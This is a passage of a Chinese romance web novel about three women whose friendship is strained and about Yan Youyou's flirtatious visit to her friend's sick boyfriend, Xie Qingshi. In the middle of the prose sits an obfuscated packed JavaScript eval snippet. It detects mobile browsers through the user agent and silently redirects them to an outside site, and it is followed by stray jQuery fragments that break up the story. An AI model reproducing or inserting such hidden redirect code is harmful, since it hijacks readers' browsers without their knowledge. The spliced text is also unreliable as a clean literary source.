“我来啦,”优优走到周遥身边,十分自然地将手腕搭在她的肘弯,将奶茶递给她,“你的白兰熔岩榛巧,五分糖少冰加碧根果。”接着又向前探出身子,“还有一杯是云依斐的,我记得她好像坚果过敏,就给她点了一杯针王苹果,推荐的少冰和七分糖。”
云依斐愣了愣,“谢谢你。”
“不用谢,请你们喝咯,庆祝我找到了新工作。”
周遥笑说:“哇,优优大方,那等会晚餐我请你吃。”
“好呀,我和你说……”
云依斐看着手中的奶茶叹了口气,只要有闫优优在,周遥的注意力就永远在她身上。她的言行举止无一不再向她宣示她们之间的关系更亲近。
“云依斐,今天你怎么不和谢青湜一起出来?”
“啊?我们约会不是一直都不带他的吗?”云依斐还没有反应过来,越过周遥望向她,“除了那一次带他见你们。”
她和谢青湜在一起三个月的时候才带他正式认识了她的闺蜜。原本是只有周遥的,可碰巧那天闫优优也在。
“我的意思是你今天怎么没有和谢青湜一起出去玩。”
“噢,他流感,在家歇着呢。”
“那你不去照顾他?”闫优优拔高音量,原本娇滴滴的嗓音变得尖锐。
连周遥也跟着搭腔:“对啊对啊。”
云依斐无所谓地摆手,“我昨天去了啊,今天又没让我去。”
闫优优闻言眉头一皱,接着又用玩笑的语气调侃:“那至少得去陪陪他吧。”
云依斐顿时觉得莫名其妙,不满地说:“你们没事吧?他一个大男人,还是一个医生,他都说了不用我去了,我何必这么上赶着。”
“你不懂了吧,”周遥轻拍她的手背,言语带着安抚,“人在生病的时候最需要安慰和陪同,他嘴上说着不要,心里肯定巴不得你去。”
“真的吗?”云依斐不解,“这么拧巴?”
“这是情趣嘛。”
云依斐回忆昨天她擅自去见他的场景,摇了摇头,“没见过这种情趣。”
“等你生个病你就懂了。”闫优优的语调又落回原处,幽幽地说。
“……”
“哈哈。倒也不需要什么都感同身受,”周遥急忙地岔开了话题,“我们今天去哪里?”
云依斐独自一人走在一旁,望着商场来来往往的人,随口一说:“不知道,找个地方坐下来聊聊天吧。”
“优优,你呢?”
闫优优看了看云依斐,“那就找个地方聊聊天吧。”
“行。”
但很快,云依斐便意识到自己这个决定有多么多么的荒谬可笑了。与其说是聊天,不如说就是一个旁听者。她们两人是同专业,最近又一起共事,共同话题接连不断,她根本没法加入她们,也不知道以什么话题加入她们。
早知道还是说到处逛逛好了,至少她还能给自己找些事做,让自己看起来不是那么多余与尴尬。
“斐斐,你怎么不说话?”周遥意识到云依斐过于安静了,伸手在她面前晃了晃。
“我不知道该说什么,”云依斐直接了当,“你们的话题我加入不了。”
话音一落,氛围瞬间变得尴尬,周遥和闫优优面面相觑,相顾无言。
云依斐却浑然不觉,自顾自地舀了一勺生巧冰淇淋。
“那我们来聊些其他的,”周遥充当着和事佬,“聊……聊什么呢?”
“你们聊吧,我等会还有事,先走了。”闫优优站起身,同周遥挥了挥手转身离开。
“晚饭呢?”
“我们俩还愁没机会吃晚餐吗?”闫优优粲然一笑,拎着包优雅离开。
云依斐依旧专注的吃着冰淇淋,就像是没有听见她刻意将她排除在外的言语。气氛并没有因为一个人的离开变得热络起来,反而是持续的凝固。
天色已经昏暗下来了,窗外人行横道上交错的人流越来越多,景饰灯光已经亮了。
云依斐远眺着窗外闪烁的灯光,自嘲地勾起嘴角。她原来也不知道自己竟然能有如此的耐心,听她们唠嗑一下午同事之间的龃龉,还有背后诽议谁谁谁靠潜规则上位这些低俗的八卦。
“你有没有觉得我们的关系没有那么好了?”
“有……有吗?”周遥有些迟疑,勺子不停地刮着蛋糕,直到整个勺子里装满了蛋糕,“那不是每次约你你都没空嘛,恰好优优和我作休时间一致,难免会有些……。”
云依斐淡淡地点了点头。也不仅仅是因为闫优优,她其实早就明白了,只是因为她的存在给了她一个最直白的借口,可她现在却不得不承认,即便没有闫优优,她和周遥的关系也在渐行渐远。
周遥试探地问:“你是不是不喜欢她?”
“谈不上不喜欢,但的确也合不来。”
“那要不下次我们单独出来玩?”
“好啊。”云依斐点头。
“现在我们去吃晚饭吧,我记得你喜欢吃日料,我们去吃竹喱。”
“好呀。”
周遥有心拉进两人的关系,云依斐也没有情商低到让她下不了台,她挽着她离开。
桌面上还留着三杯没有喝完的奶茶。
-
叮咚——叮咚——
谢青湜听到门铃扔下鼠标走向玄关,“你……”
“怎么是你?”看清来人,他错愕地张大了嘴。
闫优优双手抱胸,眉梢一扬,“不请我进去坐坐?”
谢青湜微微侧身,将门拉开了一些。
闫优优踏进大门四处张望,泰然自若地坐在沙发上,看到桌面上的电脑之后扬了扬嘴角,“看来你病得不重,亏我还在云依斐面前替你打抱不平呢。”
“你怎么会过来?”
“来看看你死没死,”闫优优随手翻着茶几上的书,看到扉页上写着云依斐的名字后,又将书合上扔在了一边,“怎么说我们之间除了云依斐还有一些别的情谊。”
“别说得这么暧昧好不好……”谢青湜有些无语,隔着一些距离坐在她的身旁。
沙发向下一陷,闫优优的笑容深了几分,“是你自己想得暧昧吧,我只说了情谊两个字。”
“无非是游戏搭子,说得那么让人想入非非……”谢青湜突然转身面对她,紧张地说:“你没和小云朵说吧?”
“不就是游戏搭子吗?有什么不好说的。”
“她不喜欢我玩游戏。”
“管这么严格?”
谢青湜辩解:“哎呀,也不是不喜欢……就是我一玩起来就没日没夜的,她也是为我好。”
闫优优的眼神带着几分同情,拍了拍他的肩膀,“放心吧,她不知道。”
听起来更说不清了。
但谢青湜并没有发觉异常,反而松了一口气,“看也看了,你要走吗?”
“你赶我走啊?”
“你在这里也不合适。”
闫优优闻言轻嗤一声,“有什么不合适的,我们之间清清白白。”
“孤男寡女共处一室,清白也不清白了。”
“行吧,”闫优优撇了撇嘴站起身,“我就多余来,在你女朋友那里受完气再来你这找不自在。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15680075|173252||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“小云朵怎么你了?”
“嫌我碍事了呗,估计是觉得周遥和我关系太好了吧,我和她多聊几句就翻脸。”
“不可能吧,她不是那种人。”谢青湜反驳。
“你说不是就不是,反正你觉得她好就行,我又不是她男朋友,”闫优优挥了挥手,“我走了,知道你没事我就放心了。”
闫优优的态度反而让谢青湜原本坚定的内心动摇了,他咧了咧嘴,“小云朵就周遥一个好朋友,有时候难免会有些占有欲,我替她向你道歉,你也别和她计较。”
“谢青湜,”闫优优闻言突然停下了脚步,转身站在他面前,踮起脚尖,望着他的眼睛,“你是不是不认识我了?”
谢青湜猝不及防后退了几步,腰撞到了桌角,他呲着牙,小声地问:“什么?”
“我说,你难道是第一天认识我吗?我哪会计较这些小事。”
“是是是,优优大人宰相肚里能撑船,最最宽宏大量了。”
“嗯哼,拜拜。”闫优优笑了笑,眉梢一扬,转身离开。
“要不……”谢青湜看着她的背影,突然觉得有些过意不去,“吃个晚饭再走?”
闫优优转回头,好笑地反问:“不是说不清白?”
“身正不怕影子斜。”他说完还拍了拍胸膛,一副天不怕的模样。
闫优优当然不会拒绝,提步又回到了屋内,将斜挎包挂在门口的衣架上,看到和包依偎着的灰色外套,眼眸中闪过几分笑意。
“你原本打算吃什么?”
“我准备了一点食材,打算自己做砂锅煲,你有兴趣吗?”
“让你一个病人来多不好意思,我来吧。”
“你是客人。”
闫优优轻捶他的肩头,状若不满地皱了皱鼻子,说:“我们还是不是朋友了?”
“当然。”谢青湜没有丝毫的犹豫。
“那你和朋友还讲究这么多?”
“恭敬不如从命。”
闫优优从善如流地走到厨房,果然看到台面上谢青湜已经备好的菜,她对跟在她身旁的男生眨了眨眼,露出一个狡黠的笑容,“给你吃个好吃的,让你看看优优大厨的厉害。”
他有些好奇,跟在闫优优的身侧:“是什么?”
“自制麻辣烫。”
“我流感诶!”谢青湜不满嚷嚷,突然又退后几步,“完了完了,忘带口罩了。”
“要传染早传染了,”闫优优不以为然,言归正传,“都说了是自制,肯定会考虑到你的啦,我还能忘记你是病号不成。”
谢青湜还是不放心,忧心忡忡地问:“你家有奥司他韦或者玛巴洛沙韦吗?”
“没有。”
“那等会去楼下买一盒吧?”
闫优优笑了笑,“您可真上操心。”
“要是把你传染了,我心里会过意不去。”
闫优优闻言故意靠近了一些,“这不是通过飞沫传播吗?我们的距离有这么近吗?”
鼻尖就是她的呼吸,垂下眼眸,又恰好看见她卷翘睫毛下没有藏起来的顽劣与好奇,谢青湜忙用手捂着嘴,落荒而逃。徒留闫优优恶作剧得逞的笑声在身后回荡。
“等你难受了就知道了这个距离到底近不近了。”谢青湜虚张声势。
闫优优接着捉弄:“那我那药还吃不吃呀?”
“吃吃吃!”
“哈哈,青提你真可爱。”闫优优笑得前扑后仰。
谢青湜听到了她对他的称呼,有那么一瞬间,他恍惚以为她是云依斐,他倚着门,嘴角的笑容淡了一些。